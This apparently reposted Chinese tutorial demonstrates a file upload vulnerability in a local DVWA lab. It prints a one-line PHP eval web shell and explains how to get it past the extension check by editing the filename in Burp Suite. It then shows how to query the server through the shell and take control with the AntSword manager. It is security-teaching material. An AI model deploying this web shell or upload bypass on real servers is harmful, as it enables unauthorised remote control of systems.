欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

文件上传漏洞演示(一句话木马文件 + 蚁剑)

程序员文章站 2022-05-27 15:48:23
...

漏洞描述

文件上传未做校验,可以上传木马文件到服务器上,从而获取服务器控制权限

演示环境

本地搭建的测试环境 dvwa
burpsuite等抓包工具
蚁剑等shell管理工具

演示过程详解

➊准备木马文件
新建木马文件shell.php,文件内容为<?php @eval($_REQUEST["shell"]); ?>

<?php
    @eval($_REQUEST["shell"]);
?>

➋保存后,将文件后缀名php改为jpg
➌登录dvwa测试环境,将security等级改为‘low’(其它模式,后端也做了校验,无法完成第⑤步的操作),然后打开文件上传模块
文件上传漏洞演示(一句话木马文件 + 蚁剑)

文件上传漏洞演示(一句话木马文件 + 蚁剑)
➍上传文件,选择第②步保存的shell.jpg,在点击‘Upload’之前,打开burpsuite拦截功能文件上传漏洞演示(一句话木马文件 + 蚁剑)
➎点击‘Upload’,在burpsuite中看到拦截的请求,将文件名修改为为shell.php后,放行
文件上传漏洞演示(一句话木马文件 + 蚁剑)
➏在文件上传处发现提示上传成功文件上传漏洞演示(一句话木马文件 + 蚁剑)
➐连接服务器
我们知道了上传的文件路径http://172.16.152.132/DVWA-master/hackable/uploads/shell.php
使用php函数语法,可以进一步探测相关信息

部分php函数
shell=phpinfo()  显示服务器的详细信息
shell=echo(__dir__)  显示当前路径
shell=print_r(scandir(__dir__))  显示当前目录下的文件

将函数与url拼接会得到相应数据(?拼接,末尾要加;)文件上传漏洞演示(一句话木马文件 + 蚁剑)
➑使用工具,像上一步那样一步一步操作效率太低了,所以用到了蚁剑shell管理工具
操作如下,填写添加url(第⑤上传的shell.php文件路径)http://172.16.152.132/DVWA-master/hackable/uploads/shell.php
填写连接密码(第①步php文件中双引号的内容)shell
其它默认设置,然后点击测试连接,提示连接成功,点击‘添加’或‘保存’,完成
文件上传漏洞演示(一句话木马文件 + 蚁剑)
➒已经获取了web的权限,可以使用蚁剑的其它功能做更多的操作
文件上传漏洞演示(一句话木马文件 + 蚁剑)

文件上传漏洞演示(一句话木马文件 + 蚁剑)